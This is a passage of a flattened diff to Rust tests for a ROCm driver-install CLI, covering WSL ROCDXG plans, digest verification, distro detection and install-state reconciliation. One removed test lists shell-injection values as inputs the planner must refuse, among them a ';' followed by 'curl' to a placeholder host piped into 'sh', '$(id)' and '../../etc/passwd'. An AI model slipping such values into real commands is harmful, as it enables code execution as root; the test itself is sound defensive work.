executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, }; - exam.set_windows_driver(info); - let ids = rocm_core::run_diagnose(&exam, "") - .matched - .into_iter() - .map(|d| d.id) - .collect(); - (text, ids) - } - - #[test] - fn the_fix_id_the_install_text_names_is_the_one_diagnose_raises() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let id = rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID; - let probe = - |version, date| rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date); - - // Old driver: the text names the id, and the command it names raises it. - let (text, ids) = - install_text_and_diagnose_ids(probe("30.0.13014.8", "2021-08-04").as_ref()); - assert!(text.contains(id), "{text}"); - assert!(ids.iter().any(|raised| raised == id), "{ids:?}"); - - // Current driver and unreadable date: the text does not name it, and - // diagnose does not raise it. - for info in [ - probe("32.0.23033.1002", "2026-05-02"), - probe("30.0.13014.8", ""), - None, - ] { - let (text, ids) = install_text_and_diagnose_ids(info.as_ref()); - assert!(!text.contains(id), "{text}"); - assert!(ids.iter().all(|raised| raised != id), "{ids:?}"); - } - } - - #[test] - fn wsl_install_driver_installs_rocdxg_without_dkms() { - // `dkms: true` is passed deliberately: WSL2 has no kernel module to - // build, so the flag must not pull in the bare-metal path. - // - // The WSL branch reads the three ROCDXG vars — an exported - // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and - // fail the `plan.supported` assertion below. `ROCM_CLI_AMDGPU_DRIVER_VERSION` - // is never consulted on this path (the WSL dispatch happens before that - // var is read), but this reader still takes the combined guard so it - // isn't the one test that has to remember which half it needs. - let _env = scoped_rocdxg_env(); - let plan = build_driver_install_plan_read( - &test_examine("linux", true), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "wsl_rocdxg"); - assert!(!rendered.contains("amdgpu-dkms")); - // The whole point of the bug: the plan must be runnable, and must not - // send the user to a file that only exists in a git checkout. - assert!(!rendered.contains("execution_commands: ")); - assert!(!rendered.contains("scripts/")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { - // Asserts on the default plan, so it has to take the same guard as the - // mutating tests in this binary: a concurrent test exporting - // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let commands = plan.execution_commands().join("\n"); - - // Fetches the release artifact, installs it, and makes the linker see - // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. - assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); - assert!(commands.contains("rocdxg-roct_")); - assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); - assert!(commands.contains("sudo ldconfig")); - - // And in that order. `ldconfig` refreshes the cache from what is on - // disk now, so running it before `apt-get install` has unpacked - // `librocdxg.so` scans a directory that does not contain it yet and - // publishes nothing — leaving the plan reporting success while the - // `ldconfig -p` verification below is the only thing that would notice. - // Both steps are still present under that swap, so every `contains` - // assertion in this file stays green; only a position comparison - // catches it. - let steps = plan.execution_commands(); - let install = steps - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - let publish = steps - .iter() - .position(|c| c.trim_end().ends_with("ldconfig")) - .expect("plan publishes the library"); - assert!( - install < publish, - "ldconfig must run after the package is installed:\n{}", - steps.join("\n") - ); - - // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` - // on, so a silently partial install cannot report success. - let verify = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Verify) - .map(|c| c.command.clone()) - .collect::>() - .join("\n"); - assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); - assert!(verify.contains("ldconfig -p")); - } - - #[test] - fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { - // /dev/dxg and dxcore come from the Windows side. If they are missing, - // installing the bridge library accomplishes nothing, so the plan must - // stop rather than report a successful install of something inert. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let prepare = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Prepare) - .map(|c| c.command.clone()) - .collect::>(); - let joined = prepare.join("\n"); - assert!(joined.contains("/dev/dxg")); - assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); - // Named explicitly, rather than surfacing as `sudo: command not found` - // from whichever privileged step happened to run first. - assert!(joined.contains("command -v sudo")); - // Both guards run before anything is fetched or installed. - let first_mutation = plan - .execution_commands() - .iter() - .position(|c| c.contains("apt-get") || c.contains("curl")) - .expect("plan installs something"); - let last_guard = plan - .execution_commands() - .iter() - .rposition(|c| c.contains("is missing")) - .expect("plan guards the plumbing"); - assert!( - last_guard < first_mutation, - "plumbing guards must precede the first mutating command" - ); - } - - /// Clear every input that steers the ROCDXG plan, so a value exported in - /// the developer's or runner's shell cannot decide the outcome of a test - /// that is asserting on the default. - /// - /// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than - /// `new` so a caller that also exercises the bare-metal AMDGPU override - /// through the same `build_driver_install_plan_at` call doesn't need a - /// second guard: one helper covers both input sets regardless of which - /// branch actually reads them. - fn scoped_rocdxg_env() -> ScopedTestEnv { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.clear("ROCM_CLI_ROCDXG_VERSION"); - env.clear(ROCDXG_SHA256_ENV); - env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); - env - } - - #[test] - fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { - // The package is installed with `apt-get install`, which runs its - // maintainer scripts as root. With no digest, TLS to the release host - // is the only thing authenticating that download — weaker than the - // bare-metal path in this same file, which installs from a - // `signed-by=` pinned repository. So the default plan must verify. - let _env = scoped_rocdxg_env(); - let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); - let joined = commands.join("\n"); - - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) - .expect("the default version is pinned"); - assert!(joined.contains(pinned), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); - - // Not a conditional: an unset variable must not be able to turn - // verification off, which is what the previous `if [ -n ... ]` form - // did. - assert!( - !joined.contains("skipping checksum verification"), - "{joined}" - ); - assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); - - // Ordering is the whole point — a digest checked after the install has - // already run is decoration. - let check = commands - .iter() - .position(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - let install = commands - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - assert!(check < install, "digest must be checked before install"); - } - - #[test] - fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { - // An unpinned version is the case where silently falling back to "no - // verification" would be most dangerous, because it is reachable from - // a single environment variable. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty(), "a refusal must run nothing"); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); - assert!( - plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), - "{}", - plan.reason - ); - } - - #[test] - fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { - // The escape hatch for a release newer than this build: supply the - // digest rather than disabling verification. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - let supplied = "a".repeat(64); - env.set(ROCDXG_SHA256_ENV, &supplied); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(joined.contains(&supplied), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); - } - - #[test] - fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { - // A truncated or mistyped digest must not silently fall back to the - // pinned one, which would verify a different artifact than the user - // asked for and report success. - let mut env = scoped_rocdxg_env(); - env.set(ROCDXG_SHA256_ENV, "not-a-digest"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(plan.commands.is_empty()); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); - } - - #[test] - fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { - // Installing unverified stays possible — it just has to be asked for, - // and the plan the user approves has to say so. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sha256sum -c -"), "{joined}"); - assert!(joined.contains("without verifying it"), "{joined}"); - } - - #[test] - fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { - // The opt-out is a boolean, not a presence check. Reading "set to - // anything" as yes would turn digest verification off for a package - // installed as root on the strength of `=0` — the one value a reader - // writes when they mean the opposite. - for negative in ["0", "false", "no", "off", ""] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - !plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" - ); - assert!( - plan.commands.is_empty(), - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" - ); - } - - // The affirmative spellings still work, so this is a narrowing of what - // counts as yes rather than a removal of the escape hatch. - for affirmative in ["1", "true", "yes", "on"] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" - ); - } - } - - #[test] - fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { - // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via - // `sh -c` after `apt-get update` has primed the sudo credential cache, - // so a `;` in it would start a second, attacker-chosen command running - // as root. The plan must refuse rather than quote its way out. - for hostile in [ - "1.2.0; curl http://example.invalid/x | sh", - "1.2.0 && id", - "$(id)", - "1.2.0`id`", - "../../etc/passwd", - "1.2.0\nid", - "1.2.0 ", - ] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", hostile); - // An opt-out must not buy past the version check either. - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + write_driver_install_state(&paths, &state)?; + let mut observed = Vec::new(); + let mut gathered = false; - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported, "accepted hostile version {hostile:?}"); - assert!( - plan.commands.is_empty(), - "built commands from hostile version {hostile:?}" - ); - // The refused value is echoed back in the plan a human reads, so it - // must not be able to forge lines there. Every line the renderer - // emits after the header is indented, so an unindented one came - // from the value. - let rendered = render_driver_install_plan(&plan, false, false); - for line in rendered.lines().skip(1) { - assert!( - line.starts_with(" "), - "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" - ); - } - } - } + let error = execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + if command == "verify" { + bail!("verification rejected the install"); + } + Ok(()) + }, + |state| write_driver_install_state(&paths, state), + || { + gathered = true; + Ok(test_examine("linux", true).driver) + }, + ) + .expect_err("failed verification must fail the install"); + let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - #[test] - fn wsl_rocdxg_plan_drops_sudo_when_already_root() { - // Same reason the bare-metal plans take an escalation: containers and - // minimal cloud images run as uid 0 with no `sudo` binary, where an - // unconditional prefix kills every command before any driver work. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sudo "), "{joined}"); - assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); - // And it must not demand a binary it no longer uses. - assert!(!joined.contains("command -v sudo"), "{joined}"); + assert_eq!(observed, ["prepare", "execute", "verify"]); + assert!(error.to_string().contains("driver command failed: verify")); assert!( - !plan - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{:?}", - plan.preflight_checks + !gathered, + "post-install state must not be gathered after failure" ); + assert_eq!(state.executed_at_unix_ms, None); + assert!(state.post_driver.is_none()); + assert_eq!(saved.executed_at_unix_ms, None); + assert!(saved.post_driver.is_none()); + let _ = fs::remove_dir_all(root); + Ok(()) } - /// Runs the digest step the plan actually generates, rather than asserting - /// that it contains some substrings. - /// - /// The step this exercises is the trust anchor for a root install, and the - /// executable self-test that used to cover it was deleted along with - /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, - /// field-order or newline regression in the `printf | sha256sum -c -` - /// fragment ship green, so the generated command is pinned whole with - /// `assert_eq!` and then executed — with only the two values it embeds - /// redirected at a test payload, so the quoting, spacing and field order - /// under test are production's rather than a replica's. - /// - /// Field order in particular is invisible to a `starts_with`/`ends_with` - /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path - /// first breaks every real WSL install while still starting with - /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. - #[cfg(unix)] #[test] - fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { - use std::process::Command; - - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let version = plan.repo_version_expr.clone(); - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| { - (*pinned_version == version.as_str()).then_some(*digest) - }) - .expect("the default version is pinned"); - let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); - let generated = plan - .execution_commands() - .into_iter() - .find(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - - // Whole-string, not `contains`: the digest has to come first and the - // two fields have to be separated by exactly the two spaces - // `sha256sum -c -` expects. - assert_eq!( - generated, - format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") - ); - - let (root, _paths) = test_paths("wsl-rocdxg-digest"); - fs::create_dir_all(&root).expect("test root"); - let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); - fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); - - let digest_of = |path: &Path| -> String { - let out = Command::new("sha256sum") - .arg(path) - .output() - .expect("sha256sum runs"); - assert!(out.status.success()); - String::from_utf8(out.stdout) - .expect("utf8") - .split_whitespace() - .next() - .expect("digest field") - .to_owned() - }; - let good = digest_of(&payload); - - // The command under test is the generated one; the only edits are the - // digest being checked and the path being checked, so a regression in - // how the fragment is built reaches `sh` here instead of being masked - // by a replica built to the test's own idea of the right shape. - let step = |digest: &str| -> bool { - let command = generated - .replace(pinned, digest) - .replace(&deb_path, &payload.display().to_string()); - Command::new("sh") - .arg("-c") - .arg(&command) - .output() - .expect("sh runs") - .status - .success() + fn failed_post_driver_gather_keeps_executed_state_persisted() -> Result<()> { + let (root, paths) = test_paths("driver-gather-failure-state"); + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, }; + write_driver_install_state(&paths, &state)?; - assert!(step(&good), "the matching digest must pass"); - assert!( - !step(&"0".repeat(64)), - "a mismatched digest must fail the step" - ); - assert!(!step("deadbeef"), "a malformed digest must fail the step"); - assert!(!step(""), "an empty digest must fail the step"); - - let _ = fs::remove_dir_all(&root); - } - - #[test] - fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { - // ROCDXG is userspace: `ldconfig` publishes it in this boot. The - // bare-metal DKMS path is the one that needs a reboot. - let _env = scoped_rocdxg_env(); - let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!wsl.reboot_required); - let rendered = render_driver_install_plan(&wsl, false, false); - // Anchor on the install step first: a refusal plan also reports - // `reboot_required: false`, renders `post_install_checks:` from its - // non-empty `checks`, and contains no `post_reboot` — so the three - // assertions below hold against a plan that installs nothing at all. - // Only a real install plan carries this command. - assert!( - rendered.contains("apt-get install -y '/tmp/"), - "expected a real install plan, got:\n{rendered}" - ); - assert!(rendered.contains("post_install_checks:")); - assert!(!rendered.contains("post_reboot")); + let error = execute_driver_install_plan( + &plan, + &mut state, + |_| Ok(()), + |state| write_driver_install_state(&paths, state), + || bail!("post-driver gather failed"), + ) + .expect_err("a post-driver gather failure must still fail the install"); + let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - let bare_metal = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - assert!(bare_metal.reboot_required); - assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); + assert!(error.to_string().contains("post-driver gather failed")); + assert!(saved.executed_at_unix_ms.is_some()); + assert!(saved.post_driver.is_none()); + let _ = fs::remove_dir_all(root); + Ok(()) } #[test] - fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { - // One resolved value drives the archive name, the release tag and the - // download path, so an override cannot leave a URL pointing at the - // default. The value is resolved at plan-build time rather than left as - // a `${VAR:-default}` template, so the plan the user reviews names the - // build the install will actually fetch. - let mut env = scoped_rocdxg_env(); + fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { + let (root, paths) = test_paths("driver-reconcile-empty"); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(plan.repo_version_expr, "1.2.2"); - let commands = plan.execution_commands().join("\n"); - // The version is resolved here, not deferred to the shell: the plan the - // user approves has to name the build the install will actually fetch. - // No `${...}` expansion survives into the commands at all — the digest - // is resolved at plan-build time too, which - // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` - // asserts by name. - assert!( - !commands.contains("ROCM_CLI_ROCDXG_VERSION"), - "version must be resolved at plan-build time, not left as a shell template:\n{commands}" - ); - let occurrences = commands.matches("1.2.2").count(); - assert!( - occurrences >= 3, - "version should drive the deb name, the tag and the path; saw {occurrences}" - ); + let rendered = reconcile_driver_install(&paths)?; - // An override has to reach every one of those references, including the - // release URL — the bug this guards is a URL left on the default. The - // digest comes along because an unpinned version is refused outright; - // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); - let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(overridden.repo_version_expr, "9.9.9"); - let commands = overridden.execution_commands().join("\n"); - assert!( - commands.contains("rocdxg-roct_9.9.9_amd64.deb"), - "{commands}" - ); - assert!( - commands.contains( - "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" - ), - "{commands}" - ); - assert!( - !commands.contains("1.2.2"), - "override left a reference on the default version:\n{commands}" - ); + assert!(rendered.contains("driver install reconciliation")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("privileged_commands: ")); + assert!(rendered.contains("no prior driver execution state found")); + assert!(rendered.contains("rocm install driver --dkms")); + assert!(!driver_install_state_path(&paths).exists()); + let _ = fs::remove_dir_all(root); + Ok(()) } - // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that - // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base - // version scheme are matched to the correct apt (`ubuntu/`) or EL - // (`el/`) plan instead of falling through to the unsupported plan. - #[test] - fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. - let os_release = r#" -ID=pop -VERSION_ID="22.04" -VERSION_CODENAME=jammy -ID_LIKE="ubuntu debian" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); + fn driver_reconcile_updates_state_after_reboot() -> Result<()> { + let (root, paths) = test_paths("driver-reconcile-state"); + let pre_driver = rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "not_detected".to_owned(), + detail: None, + windows: None, + }; + let current_driver = rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_available".to_owned(), + detail: Some("/dev/kfd is present".to_owned()), + windows: None, + }; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: Some(2), + pre_driver, + post_driver: None, + boot_id_at_execution: Some("old-boot".to_owned()), + reboot_required: true, + reboot_observed: false, + commands: vec!["sudo apt-get install -y amdgpu-dkms".to_owned()], + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let checks = vec![ + DriverPassiveCheck { + name: "/dev/kfd".to_owned(), + status: "present".to_owned(), + detail: "KFD device node".to_owned(), + }, + DriverPassiveCheck { + name: "/dev/dri/renderD*".to_owned(), + status: "missing".to_owned(), + detail: "DRM render node".to_owned(), + }, + ]; - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. - assert!(rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - } + let rendered = reconcile_driver_install_state( + &paths, + &mut state, + current_driver, + Some("new-boot".to_owned()), + checks, + )?; + let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - #[test] - fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. - let os_release = r#" -ID=lmde -VERSION_ID="12" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, + assert!(rendered.contains("reboot_observed: true")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("privileged_commands: ")); + assert!(rendered.contains("driver_status: amdgpu_available")); + assert!(rendered.contains("passive_check_summary: total=2 present=1 missing=1")); + assert!(rendered.contains("/dev/dri/renderD*: missing")); + assert!(rendered.contains("missing passive checks")); + assert!(saved.reboot_observed); + assert!(saved.reconciled_at_unix_ms.is_some()); + assert_eq!( + saved + .reconciliation + .as_ref() + .map(|value| value.driver.status.as_str()), + Some("amdgpu_available") ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); + let reconciliation = saved.reconciliation.as_ref().expect("reconciliation saved"); + assert_eq!(reconciliation.check_summary.total, 2); + assert_eq!(reconciliation.check_summary.present, 1); + assert_eq!(reconciliation.check_summary.missing, 1); + let _ = fs::remove_dir_all(root); + Ok(()) } #[test] - fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. - let os_release = r#" -ID=almalinux -VERSION_ID="9.6" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.6/main/x86_64") - ); - assert!(!rendered.contains("/rhel/9.6/")); - // el9 uses the version-aware standard-kernel prepare commands. - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } + fn driver_reconcile_preserves_explicit_reboot_policy() -> Result<()> { + for reboot_required in [false, true] { + let (root, paths) = test_paths(if reboot_required { + "driver-reconcile-reboot-true" + } else { + "driver-reconcile-reboot-false" + }); + let driver = rocm_core::DriverSummary { + policy: "driver-policy".to_owned(), + status: "available".to_owned(), + detail: None, + windows: None, + }; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: Some(2), + pre_driver: driver.clone(), + post_driver: None, + boot_id_at_execution: Some("same-boot".to_owned()), + reboot_required, + reboot_observed: false, + commands: vec!["execute".to_owned()], + reconciled_at_unix_ms: None, + reconciliation: None, + }; - #[test] - fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=almalinux -VERSION_ID="8.10" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); + reconcile_driver_install_state( + &paths, + &mut state, + driver, + Some("same-boot".to_owned()), + Vec::new(), + )?; + let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - assert!(plan.supported); - // EL 8 is served from the major-version path (el/8), matching AMD docs. - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/8/main/x86_64") - ); - // el8 has no kernel-devel-matched package. - assert!(!rendered.contains("kernel-devel-matched")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert_eq!(state.reboot_required, reboot_required); + assert_eq!(saved.reboot_required, reboot_required); + let _ = fs::remove_dir_all(root); + } + Ok(()) } #[test] - fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian-family derivative whose VERSION_ID does not align with any - // AMD-documented Debian version must not fabricate a plan. - let os_release = r#" -ID=lmde -VERSION_ID="6" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); + fn driver_passive_check_summary_counts_non_present_as_missing() { + let summary = summarize_driver_passive_checks(&[ + DriverPassiveCheck { + name: "/dev/kfd".to_owned(), + status: "present".to_owned(), + detail: "KFD".to_owned(), + }, + DriverPassiveCheck { + name: "/dev/dri/renderD*".to_owned(), + status: "missing".to_owned(), + detail: "render".to_owned(), + }, + DriverPassiveCheck { + name: "dkms".to_owned(), + status: "error".to_owned(), + detail: "dkms status failed".to_owned(), + }, + ]); - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("amdgpu-dkms")); + assert_eq!(summary.total, 3); + assert_eq!(summary.present, 1); + assert_eq!(summary.missing, 2); } #[test] - fn driver_plan_exact_id_takes_precedence_over_id_like() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") - ); - assert!(!rendered.contains("/el/9.7/")); + fn approving_an_unsupported_plan_is_an_error_but_not_a_dry_run_or_windows() { + let mut plan = unsupported_test_plan(); + assert!(approval_of_unsupported_plan(&plan, true, false)); + assert!(!approval_of_unsupported_plan(&plan, false, false)); + assert!(!approval_of_unsupported_plan(&plan, true, true)); + plan.policy = "windows_validate_only".to_owned(); + assert!(!approval_of_unsupported_plan(&plan, true, false)); + plan.policy = "x".to_owned(); + plan.supported = true; + assert!(!approval_of_unsupported_plan(&plan, true, false)); } - #[test] - fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { - let _env = 